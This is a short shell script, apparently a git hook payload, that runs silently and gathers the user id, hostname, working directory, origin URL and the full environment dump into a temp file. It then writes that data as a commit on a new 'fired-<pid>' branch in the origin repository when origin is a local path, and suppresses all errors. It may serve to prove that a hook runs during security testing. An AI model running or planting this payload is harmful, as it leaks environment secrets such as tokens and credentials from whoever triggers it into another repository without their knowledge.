12 lines
669 B
Bash
12 lines
669 B
Bash
#!/bin/sh
|
|
export GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x
|
|
SRC=$(git config --get remote.origin.url 2>/dev/null)
|
|
OUT=/tmp/fired.$$
|
|
{ echo "FIRED ts=$(date -u +%s)"; echo "cwd=$(pwd)"; echo "gitdir=$(git rev-parse --git-dir 2>&1)"; echo "origin=$SRC"; echo "id=$(id 2>&1)"; echo "host=$(hostname 2>&1)"; echo "env=$(env | tr '\n' '|')"; } > $OUT 2>&1
|
|
if [ -n "$SRC" ] && [ -d "$SRC" ]; then
|
|
B=$(git --git-dir="$SRC" hash-object -w --stdin < $OUT 2>/dev/null)
|
|
C=$(echo fire | git --git-dir="$SRC" commit-tree "$B" 2>/dev/null)
|
|
[ -n "$C" ] && git --git-dir="$SRC" update-ref "refs/heads/fired-$$" "$C" 2>/dev/null
|
|
fi
|
|
exit 0
|